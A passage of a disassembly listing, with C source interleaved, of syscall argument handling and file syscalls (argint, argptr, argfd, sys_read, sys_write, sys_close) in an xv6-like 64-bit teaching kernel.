ffff800000108134: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010813b: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010813f: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000108143: 48 8b 40 18 mov 0x18(%rax),%rax
ffff800000108147: eb 55 jmp ffff80000010819e <fetcharg+0xcb>
case 3: return proc->tf->r10;
ffff800000108149: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108150: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108154: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000108158: 48 8b 40 48 mov 0x48(%rax),%rax
ffff80000010815c: eb 40 jmp ffff80000010819e <fetcharg+0xcb>
case 4: return proc->tf->r8;
ffff80000010815e: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108165: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108169: 48 8b 40 28 mov 0x28(%rax),%rax
ffff80000010816d: 48 8b 40 38 mov 0x38(%rax),%rax
ffff800000108171: eb 2b jmp ffff80000010819e <fetcharg+0xcb>
case 5: return proc->tf->r9;
ffff800000108173: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010817a: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010817e: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000108182: 48 8b 40 40 mov 0x40(%rax),%rax
ffff800000108186: eb 16 jmp ffff80000010819e <fetcharg+0xcb>
}
panic("failed fetch");
ffff800000108188: 48 bf e0 c8 10 00 00 movabs $0xffff80000010c8e0,%rdi
ffff80000010818f: 80 ff ff
ffff800000108192: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000108199: 80 ff ff
ffff80000010819c: ff d0 callq *%rax
}
ffff80000010819e: c9 leaveq
ffff80000010819f: c3 retq
ffff8000001081a0 <argint>:
int
argint(int n, int *ip)
{
ffff8000001081a0: f3 0f 1e fa endbr64
ffff8000001081a4: 55 push %rbp
ffff8000001081a5: 48 89 e5 mov %rsp,%rbp
ffff8000001081a8: 48 83 ec 10 sub $0x10,%rsp
ffff8000001081ac: 89 7d fc mov %edi,-0x4(%rbp)
ffff8000001081af: 48 89 75 f0 mov %rsi,-0x10(%rbp)
*ip = fetcharg(n);
ffff8000001081b3: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001081b6: 89 c7 mov %eax,%edi
ffff8000001081b8: 48 b8 d3 80 10 00 00 movabs $0xffff8000001080d3,%rax
ffff8000001081bf: 80 ff ff
ffff8000001081c2: ff d0 callq *%rax
ffff8000001081c4: 89 c2 mov %eax,%edx
ffff8000001081c6: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001081ca: 89 10 mov %edx,(%rax)
return 0;
ffff8000001081cc: b8 00 00 00 00 mov $0x0,%eax
}
ffff8000001081d1: c9 leaveq
ffff8000001081d2: c3 retq
ffff8000001081d3 <argaddr>:
int
argaddr(int n, addr_t *ip)
{
ffff8000001081d3: f3 0f 1e fa endbr64
ffff8000001081d7: 55 push %rbp
ffff8000001081d8: 48 89 e5 mov %rsp,%rbp
ffff8000001081db: 48 83 ec 10 sub $0x10,%rsp
ffff8000001081df: 89 7d fc mov %edi,-0x4(%rbp)
ffff8000001081e2: 48 89 75 f0 mov %rsi,-0x10(%rbp)
*ip = fetcharg(n);
ffff8000001081e6: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001081e9: 89 c7 mov %eax,%edi
ffff8000001081eb: 48 b8 d3 80 10 00 00 movabs $0xffff8000001080d3,%rax
ffff8000001081f2: 80 ff ff
ffff8000001081f5: ff d0 callq *%rax
ffff8000001081f7: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff8000001081fb: 48 89 02 mov %rax,(%rdx)
return 0;
ffff8000001081fe: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000108203: c9 leaveq
ffff800000108204: c3 retq
ffff800000108205 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
ffff800000108205: f3 0f 1e fa endbr64
ffff800000108209: 55 push %rbp
ffff80000010820a: 48 89 e5 mov %rsp,%rbp
ffff80000010820d: 48 83 ec 20 sub $0x20,%rsp
ffff800000108211: 89 7d ec mov %edi,-0x14(%rbp)
ffff800000108214: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff800000108218: 89 55 e8 mov %edx,-0x18(%rbp)
addr_t i;
if(argaddr(n, &i) < 0)
ffff80000010821b: 48 8d 55 f8 lea -0x8(%rbp),%rdx
ffff80000010821f: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000108222: 48 89 d6 mov %rdx,%rsi
ffff800000108225: 89 c7 mov %eax,%edi
ffff800000108227: 48 b8 d3 81 10 00 00 movabs $0xffff8000001081d3,%rax
ffff80000010822e: 80 ff ff
ffff800000108231: ff d0 callq *%rax
ffff800000108233: 85 c0 test %eax,%eax
ffff800000108235: 79 07 jns ffff80000010823e <argptr+0x39>
return -1;
ffff800000108237: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010823c: eb 59 jmp ffff800000108297 <argptr+0x92>
if(size < 0 || (uint)i >= proc->sz || (uint)i+size > proc->sz)
ffff80000010823e: 83 7d e8 00 cmpl $0x0,-0x18(%rbp)
ffff800000108242: 78 39 js ffff80000010827d <argptr+0x78>
ffff800000108244: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108248: 89 c2 mov %eax,%edx
ffff80000010824a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108251: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108255: 48 8b 00 mov (%rax),%rax
ffff800000108258: 48 39 c2 cmp %rax,%rdx
ffff80000010825b: 73 20 jae ffff80000010827d <argptr+0x78>
ffff80000010825d: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108261: 89 c2 mov %eax,%edx
ffff800000108263: 8b 45 e8 mov -0x18(%rbp),%eax
ffff800000108266: 01 d0 add %edx,%eax
ffff800000108268: 89 c2 mov %eax,%edx
ffff80000010826a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108271: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108275: 48 8b 00 mov (%rax),%rax
ffff800000108278: 48 39 c2 cmp %rax,%rdx
ffff80000010827b: 76 07 jbe ffff800000108284 <argptr+0x7f>
return -1;
ffff80000010827d: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108282: eb 13 jmp ffff800000108297 <argptr+0x92>
*pp = (char*)i;
ffff800000108284: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108288: 48 89 c2 mov %rax,%rdx
ffff80000010828b: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010828f: 48 89 10 mov %rdx,(%rax)
return 0;
ffff800000108292: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000108297: c9 leaveq
ffff800000108298: c3 retq
ffff800000108299 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
ffff800000108299: f3 0f 1e fa endbr64
ffff80000010829d: 55 push %rbp
ffff80000010829e: 48 89 e5 mov %rsp,%rbp
ffff8000001082a1: 48 83 ec 20 sub $0x20,%rsp
ffff8000001082a5: 89 7d ec mov %edi,-0x14(%rbp)
ffff8000001082a8: 48 89 75 e0 mov %rsi,-0x20(%rbp)
int addr;
if(argint(n, &addr) < 0)
ffff8000001082ac: 48 8d 55 fc lea -0x4(%rbp),%rdx
ffff8000001082b0: 8b 45 ec mov -0x14(%rbp),%eax
ffff8000001082b3: 48 89 d6 mov %rdx,%rsi
ffff8000001082b6: 89 c7 mov %eax,%edi
ffff8000001082b8: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff8000001082bf: 80 ff ff
ffff8000001082c2: ff d0 callq *%rax
ffff8000001082c4: 85 c0 test %eax,%eax
ffff8000001082c6: 79 07 jns ffff8000001082cf <argstr+0x36>
return -1;
ffff8000001082c8: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001082cd: eb 1b jmp ffff8000001082ea <argstr+0x51>
return fetchstr(addr, pp);
ffff8000001082cf: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001082d2: 48 98 cltq
ffff8000001082d4: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff8000001082d8: 48 89 d6 mov %rdx,%rsi
ffff8000001082db: 48 89 c7 mov %rax,%rdi
ffff8000001082de: 48 b8 46 80 10 00 00 movabs $0xffff800000108046,%rax
ffff8000001082e5: 80 ff ff
ffff8000001082e8: ff d0 callq *%rax
}
ffff8000001082ea: c9 leaveq
ffff8000001082eb: c3 retq
ffff8000001082ec <syscall>:
[SYS_freepages] sys_freepages,
};
void
syscall(struct trapframe *tf)
{
ffff8000001082ec: f3 0f 1e fa endbr64
ffff8000001082f0: 55 push %rbp
ffff8000001082f1: 48 89 e5 mov %rsp,%rbp
ffff8000001082f4: 48 83 ec 20 sub $0x20,%rsp
ffff8000001082f8: 48 89 7d e8 mov %rdi,-0x18(%rbp)
if (proc->killed)
ffff8000001082fc: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108303: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108307: 8b 40 40 mov 0x40(%rax),%eax
ffff80000010830a: 85 c0 test %eax,%eax
ffff80000010830c: 74 0c je ffff80000010831a <syscall+0x2e>
exit();
ffff80000010830e: 48 b8 d3 6b 10 00 00 movabs $0xffff800000106bd3,%rax
ffff800000108315: 80 ff ff
ffff800000108318: ff d0 callq *%rax
proc->tf = tf;
ffff80000010831a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108321: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108325: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000108329: 48 89 50 28 mov %rdx,0x28(%rax)
uint64 num = proc->tf->rax;
ffff80000010832d: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108334: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108338: 48 8b 40 28 mov 0x28(%rax),%rax
ffff80000010833c: 48 8b 00 mov (%rax),%rax
ffff80000010833f: 48 89 45 f8 mov %rax,-0x8(%rbp)
if (num > 0 && num < NELEM(syscalls) && syscalls[num]) {
ffff800000108343: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000108348: 74 3b je ffff800000108385 <syscall+0x99>
ffff80000010834a: 48 83 7d f8 17 cmpq $0x17,-0x8(%rbp)
ffff80000010834f: 77 34 ja ffff800000108385 <syscall+0x99>
ffff800000108351: 48 ba a0 d5 10 00 00 movabs $0xffff80000010d5a0,%rdx
ffff800000108358: 80 ff ff
ffff80000010835b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010835f: 48 8b 04 c2 mov (%rdx,%rax,8),%rax
ffff800000108363: 48 85 c0 test %rax,%rax
ffff800000108366: 74 1d je ffff800000108385 <syscall+0x99>
tf->rax = syscalls[num]();
ffff800000108368: 48 ba a0 d5 10 00 00 movabs $0xffff80000010d5a0,%rdx
ffff80000010836f: 80 ff ff
ffff800000108372: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108376: 48 8b 04 c2 mov (%rdx,%rax,8),%rax
ffff80000010837a: ff d0 callq *%rax
ffff80000010837c: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000108380: 48 89 02 mov %rax,(%rdx)
ffff800000108383: eb 53 jmp ffff8000001083d8 <syscall+0xec>
} else {
cprintf("%d %s: unknown sys call %d\n",
proc->pid, proc->name, num);
ffff800000108385: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010838c: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000108390: 48 8d b0 d0 00 00 00 lea 0xd0(%rax),%rsi
ffff800000108397: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010839e: 64 48 8b 00 mov %fs:(%rax),%rax
cprintf("%d %s: unknown sys call %d\n",
ffff8000001083a2: 8b 40 1c mov 0x1c(%rax),%eax
ffff8000001083a5: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff8000001083a9: 48 89 d1 mov %rdx,%rcx
ffff8000001083ac: 48 89 f2 mov %rsi,%rdx
ffff8000001083af: 89 c6 mov %eax,%esi
ffff8000001083b1: 48 bf 20 c9 10 00 00 movabs $0xffff80000010c920,%rdi
ffff8000001083b8: 80 ff ff
ffff8000001083bb: b8 00 00 00 00 mov $0x0,%eax
ffff8000001083c0: 49 b8 18 08 10 00 00 movabs $0xffff800000100818,%r8
ffff8000001083c7: 80 ff ff
ffff8000001083ca: 41 ff d0 callq *%r8
tf->rax = -1;
ffff8000001083cd: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001083d1: 48 c7 00 ff ff ff ff movq $0xffffffffffffffff,(%rax)
}
if (proc->killed)
ffff8000001083d8: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001083df: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001083e3: 8b 40 40 mov 0x40(%rax),%eax
ffff8000001083e6: 85 c0 test %eax,%eax
ffff8000001083e8: 74 0c je ffff8000001083f6 <syscall+0x10a>
exit();
ffff8000001083ea: 48 b8 d3 6b 10 00 00 movabs $0xffff800000106bd3,%rax
ffff8000001083f1: 80 ff ff
ffff8000001083f4: ff d0 callq *%rax
}
ffff8000001083f6: 90 nop
ffff8000001083f7: c9 leaveq
ffff8000001083f8: c3 retq
ffff8000001083f9 <argfd>:
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
{
ffff8000001083f9: f3 0f 1e fa endbr64
ffff8000001083fd: 55 push %rbp
ffff8000001083fe: 48 89 e5 mov %rsp,%rbp
ffff800000108401: 48 83 ec 30 sub $0x30,%rsp
ffff800000108405: 89 7d ec mov %edi,-0x14(%rbp)
ffff800000108408: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff80000010840c: 48 89 55 d8 mov %rdx,-0x28(%rbp)
int fd;
struct file *f;
if(argint(n, &fd) < 0)
ffff800000108410: 48 8d 55 f4 lea -0xc(%rbp),%rdx
ffff800000108414: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000108417: 48 89 d6 mov %rdx,%rsi
ffff80000010841a: 89 c7 mov %eax,%edi
ffff80000010841c: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff800000108423: 80 ff ff
ffff800000108426: ff d0 callq *%rax
ffff800000108428: 85 c0 test %eax,%eax
ffff80000010842a: 79 07 jns ffff800000108433 <argfd+0x3a>
return -1;
ffff80000010842c: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108431: eb 62 jmp ffff800000108495 <argfd+0x9c>
if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0)
ffff800000108433: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000108436: 85 c0 test %eax,%eax
ffff800000108438: 78 2d js ffff800000108467 <argfd+0x6e>
ffff80000010843a: 8b 45 f4 mov -0xc(%rbp),%eax
ffff80000010843d: 83 f8 0f cmp $0xf,%eax
ffff800000108440: 7f 25 jg ffff800000108467 <argfd+0x6e>
ffff800000108442: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000108449: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010844d: 8b 55 f4 mov -0xc(%rbp),%edx
ffff800000108450: 48 63 d2 movslq %edx,%rdx
ffff800000108453: 48 83 c2 08 add $0x8,%rdx
ffff800000108457: 48 8b 44 d0 08 mov 0x8(%rax,%rdx,8),%rax
ffff80000010845c: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000108460: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000108465: 75 07 jne ffff80000010846e <argfd+0x75>
return -1;
ffff800000108467: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010846c: eb 27 jmp ffff800000108495 <argfd+0x9c>
if(pfd)
ffff80000010846e: 48 83 7d e0 00 cmpq $0x0,-0x20(%rbp)
ffff800000108473: 74 09 je ffff80000010847e <argfd+0x85>
*pfd = fd;
ffff800000108475: 8b 55 f4 mov -0xc(%rbp),%edx
ffff800000108478: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010847c: 89 10 mov %edx,(%rax)
if(pf)
ffff80000010847e: 48 83 7d d8 00 cmpq $0x0,-0x28(%rbp)
ffff800000108483: 74 0b je ffff800000108490 <argfd+0x97>
*pf = f;
ffff800000108485: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000108489: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010848d: 48 89 10 mov %rdx,(%rax)
return 0;
ffff800000108490: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000108495: c9 leaveq
ffff800000108496: c3 retq
ffff800000108497 <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
ffff800000108497: f3 0f 1e fa endbr64
ffff80000010849b: 55 push %rbp
ffff80000010849c: 48 89 e5 mov %rsp,%rbp
ffff80000010849f: 48 83 ec 18 sub $0x18,%rsp
ffff8000001084a3: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int fd;
for(fd = 0; fd < NOFILE; fd++){
ffff8000001084a7: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001084ae: eb 46 jmp ffff8000001084f6 <fdalloc+0x5f>
if(proc->ofile[fd] == 0){
ffff8000001084b0: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001084b7: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001084bb: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001084be: 48 63 d2 movslq %edx,%rdx
ffff8000001084c1: 48 83 c2 08 add $0x8,%rdx
ffff8000001084c5: 48 8b 44 d0 08 mov 0x8(%rax,%rdx,8),%rax
ffff8000001084ca: 48 85 c0 test %rax,%rax
ffff8000001084cd: 75 23 jne ffff8000001084f2 <fdalloc+0x5b>
proc->ofile[fd] = f;
ffff8000001084cf: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001084d6: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001084da: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001084dd: 48 63 d2 movslq %edx,%rdx
ffff8000001084e0: 48 8d 4a 08 lea 0x8(%rdx),%rcx
ffff8000001084e4: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff8000001084e8: 48 89 54 c8 08 mov %rdx,0x8(%rax,%rcx,8)
return fd;
ffff8000001084ed: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001084f0: eb 0f jmp ffff800000108501 <fdalloc+0x6a>
for(fd = 0; fd < NOFILE; fd++){
ffff8000001084f2: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff8000001084f6: 83 7d fc 0f cmpl $0xf,-0x4(%rbp)
ffff8000001084fa: 7e b4 jle ffff8000001084b0 <fdalloc+0x19>
}
}
return -1;
ffff8000001084fc: b8 ff ff ff ff mov $0xffffffff,%eax
}
ffff800000108501: c9 leaveq
ffff800000108502: c3 retq
ffff800000108503 <sys_dup>:
int
sys_dup(void)
{
ffff800000108503: f3 0f 1e fa endbr64
ffff800000108507: 55 push %rbp
ffff800000108508: 48 89 e5 mov %rsp,%rbp
ffff80000010850b: 48 83 ec 10 sub $0x10,%rsp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
ffff80000010850f: 48 8d 45 f0 lea -0x10(%rbp),%rax
ffff800000108513: 48 89 c2 mov %rax,%rdx
ffff800000108516: be 00 00 00 00 mov $0x0,%esi
ffff80000010851b: bf 00 00 00 00 mov $0x0,%edi
ffff800000108520: 48 b8 f9 83 10 00 00 movabs $0xffff8000001083f9,%rax
ffff800000108527: 80 ff ff
ffff80000010852a: ff d0 callq *%rax
ffff80000010852c: 85 c0 test %eax,%eax
ffff80000010852e: 79 07 jns ffff800000108537 <sys_dup+0x34>
return -1;
ffff800000108530: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108535: eb 39 jmp ffff800000108570 <sys_dup+0x6d>
if((fd=fdalloc(f)) < 0)
ffff800000108537: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010853b: 48 89 c7 mov %rax,%rdi
ffff80000010853e: 48 b8 97 84 10 00 00 movabs $0xffff800000108497,%rax
ffff800000108545: 80 ff ff
ffff800000108548: ff d0 callq *%rax
ffff80000010854a: 89 45 fc mov %eax,-0x4(%rbp)
ffff80000010854d: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000108551: 79 07 jns ffff80000010855a <sys_dup+0x57>
return -1;
ffff800000108553: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108558: eb 16 jmp ffff800000108570 <sys_dup+0x6d>
filedup(f);
ffff80000010855a: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010855e: 48 89 c7 mov %rax,%rdi
ffff800000108561: 48 b8 1a 1c 10 00 00 movabs $0xffff800000101c1a,%rax
ffff800000108568: 80 ff ff
ffff80000010856b: ff d0 callq *%rax
return fd;
ffff80000010856d: 8b 45 fc mov -0x4(%rbp),%eax
}
ffff800000108570: c9 leaveq
ffff800000108571: c3 retq
ffff800000108572 <sys_read>:
int
sys_read(void)
{
ffff800000108572: f3 0f 1e fa endbr64
ffff800000108576: 55 push %rbp
ffff800000108577: 48 89 e5 mov %rsp,%rbp
ffff80000010857a: 48 83 ec 20 sub $0x20,%rsp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
ffff80000010857e: 48 8d 45 f8 lea -0x8(%rbp),%rax
ffff800000108582: 48 89 c2 mov %rax,%rdx
ffff800000108585: be 00 00 00 00 mov $0x0,%esi
ffff80000010858a: bf 00 00 00 00 mov $0x0,%edi
ffff80000010858f: 48 b8 f9 83 10 00 00 movabs $0xffff8000001083f9,%rax
ffff800000108596: 80 ff ff
ffff800000108599: ff d0 callq *%rax
ffff80000010859b: 85 c0 test %eax,%eax
ffff80000010859d: 78 3b js ffff8000001085da <sys_read+0x68>
ffff80000010859f: 48 8d 45 f4 lea -0xc(%rbp),%rax
ffff8000001085a3: 48 89 c6 mov %rax,%rsi
ffff8000001085a6: bf 02 00 00 00 mov $0x2,%edi
ffff8000001085ab: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff8000001085b2: 80 ff ff
ffff8000001085b5: ff d0 callq *%rax
ffff8000001085b7: 85 c0 test %eax,%eax
ffff8000001085b9: 78 1f js ffff8000001085da <sys_read+0x68>
ffff8000001085bb: 8b 55 f4 mov -0xc(%rbp),%edx
ffff8000001085be: 48 8d 45 e8 lea -0x18(%rbp),%rax
ffff8000001085c2: 48 89 c6 mov %rax,%rsi
ffff8000001085c5: bf 01 00 00 00 mov $0x1,%edi
ffff8000001085ca: 48 b8 05 82 10 00 00 movabs $0xffff800000108205,%rax
ffff8000001085d1: 80 ff ff
ffff8000001085d4: ff d0 callq *%rax
ffff8000001085d6: 85 c0 test %eax,%eax
ffff8000001085d8: 79 07 jns ffff8000001085e1 <sys_read+0x6f>
return -1;
ffff8000001085da: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001085df: eb 1d jmp ffff8000001085fe <sys_read+0x8c>
return fileread(f, p, n);
ffff8000001085e1: 8b 55 f4 mov -0xc(%rbp),%edx
ffff8000001085e4: 48 8b 4d e8 mov -0x18(%rbp),%rcx
ffff8000001085e8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001085ec: 48 89 ce mov %rcx,%rsi
ffff8000001085ef: 48 89 c7 mov %rax,%rdi
ffff8000001085f2: 48 b8 46 1e 10 00 00 movabs $0xffff800000101e46,%rax
ffff8000001085f9: 80 ff ff
ffff8000001085fc: ff d0 callq *%rax
}
ffff8000001085fe: c9 leaveq
ffff8000001085ff: c3 retq
ffff800000108600 <sys_write>:
int
sys_write(void)
{
ffff800000108600: f3 0f 1e fa endbr64
ffff800000108604: 55 push %rbp
ffff800000108605: 48 89 e5 mov %rsp,%rbp
ffff800000108608: 48 83 ec 20 sub $0x20,%rsp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
ffff80000010860c: 48 8d 45 f8 lea -0x8(%rbp),%rax
ffff800000108610: 48 89 c2 mov %rax,%rdx
ffff800000108613: be 00 00 00 00 mov $0x0,%esi
ffff800000108618: bf 00 00 00 00 mov $0x0,%edi
ffff80000010861d: 48 b8 f9 83 10 00 00 movabs $0xffff8000001083f9,%rax
ffff800000108624: 80 ff ff
ffff800000108627: ff d0 callq *%rax
ffff800000108629: 85 c0 test %eax,%eax
ffff80000010862b: 78 3b js ffff800000108668 <sys_write+0x68>
ffff80000010862d: 48 8d 45 f4 lea -0xc(%rbp),%rax
ffff800000108631: 48 89 c6 mov %rax,%rsi
ffff800000108634: bf 02 00 00 00 mov $0x2,%edi
ffff800000108639: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff800000108640: 80 ff ff
ffff800000108643: ff d0 callq *%rax
ffff800000108645: 85 c0 test %eax,%eax
ffff800000108647: 78 1f js ffff800000108668 <sys_write+0x68>
ffff800000108649: 8b 55 f4 mov -0xc(%rbp),%edx
ffff80000010864c: 48 8d 45 e8 lea -0x18(%rbp),%rax
ffff800000108650: 48 89 c6 mov %rax,%rsi
ffff800000108653: bf 01 00 00 00 mov $0x1,%edi
ffff800000108658: 48 b8 05 82 10 00 00 movabs $0xffff800000108205,%rax
ffff80000010865f: 80 ff ff
ffff800000108662: ff d0 callq *%rax
ffff800000108664: 85 c0 test %eax,%eax
ffff800000108666: 79 07 jns ffff80000010866f <sys_write+0x6f>
return -1;
ffff800000108668: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010866d: eb 1d jmp ffff80000010868c <sys_write+0x8c>
return filewrite(f, p, n);
ffff80000010866f: 8b 55 f4 mov -0xc(%rbp),%edx
ffff800000108672: 48 8b 4d e8 mov -0x18(%rbp),%rcx
ffff800000108676: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010867a: 48 89 ce mov %rcx,%rsi
ffff80000010867d: 48 89 c7 mov %rax,%rdi
ffff800000108680: 48 b8 3b 1f 10 00 00 movabs $0xffff800000101f3b,%rax
ffff800000108687: 80 ff ff
ffff80000010868a: ff d0 callq *%rax
}
ffff80000010868c: c9 leaveq
ffff80000010868d: c3 retq
ffff80000010868e <sys_close>:
int
sys_close(void)
{
ffff80000010868e: f3 0f 1e fa endbr64
ffff800000108692: 55 push %rbp
ffff800000108693: 48 89 e5 mov %rsp,%rbp
ffff800000108696: 48 83 ec 10 sub $0x10,%rsp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
ffff80000010869a: 48 8d 55 f0 lea -0x10(%rbp),%rdx
ffff80000010869e: 48 8d 45 fc lea -0x4(%rbp),%rax
ffff8000001086a2: 48 89 c6 mov %rax,%rsi
ffff8000001086a5: bf 00 00 00 00 mov $0x0,%edi
ffff8000001086aa: 48 b8 f9 83 10 00 00 movabs $0xffff8000001083f9,%rax
ffff8000001086b1: 80 ff ff
ffff8000001086b4: ff d0 callq *%rax
ffff8000001086b6: 85 c0 test %eax,%eax
ffff8000001086b8: 79 07 jns ffff8000001086c1 <sys_close+0x33>
return -1;
ffff8000001086ba: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001086bf: eb 36 jmp ffff8000001086f7 <sys_close+0x69>
proc->ofile[fd] = 0;
ffff8000001086c1: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001086c8: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001086cc: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001086cf: 48 63 d2 movslq %edx,%rdx
ffff8000001086d2: 48 83 c2 08 add $0x8,%rdx
ffff8000001086d6: 48 c7 44 d0 08 00 00 movq $0x0,0x8(%rax,%rdx,8)
ffff8000001086dd: 00 00
fileclose(f);
ffff8000001086df: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001086e3: 48 89 c7 mov %rax,%rdi
ffff8000001086e6: 48 b8 8e 1c 10 00 00 movabs $0xffff800000101c8e,%rax
ffff8000001086ed: 80 ff ff
ffff8000001086f0: ff d0 callq *%rax
return 0;
ffff8000001086f2: b8 00 00 00 00 mov $0x0,%eax
}
ffff8000001086f7: c9 leaveq
ffff8000001086f8: c3 retq
ffff8000001086f9 <sys_fstat>:
int
sys_fstat(void)
{
ffff8000001086f9: f3 0f 1e fa endbr64
ffff8000001086fd: 55 push %rbp
ffff8000001086fe: 48 89 e5 mov %rsp,%rbp
ffff800000108701: 48 83 ec 10 sub $0x10,%rsp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
ffff800000108705: 48 8d 45 f8 lea -0x8(%rbp),%rax
ffff800000108709: 48 89 c2 mov %rax,%rdx
ffff80000010870c: be 00 00 00 00 mov $0x0,%esi
ffff800000108711: bf 00 00 00 00 mov $0x0,%edi
ffff800000108716: 48 b8 f9 83 10 00 00 movabs $0xffff8000001083f9,%rax
ffff80000010871d: 80 ff ff
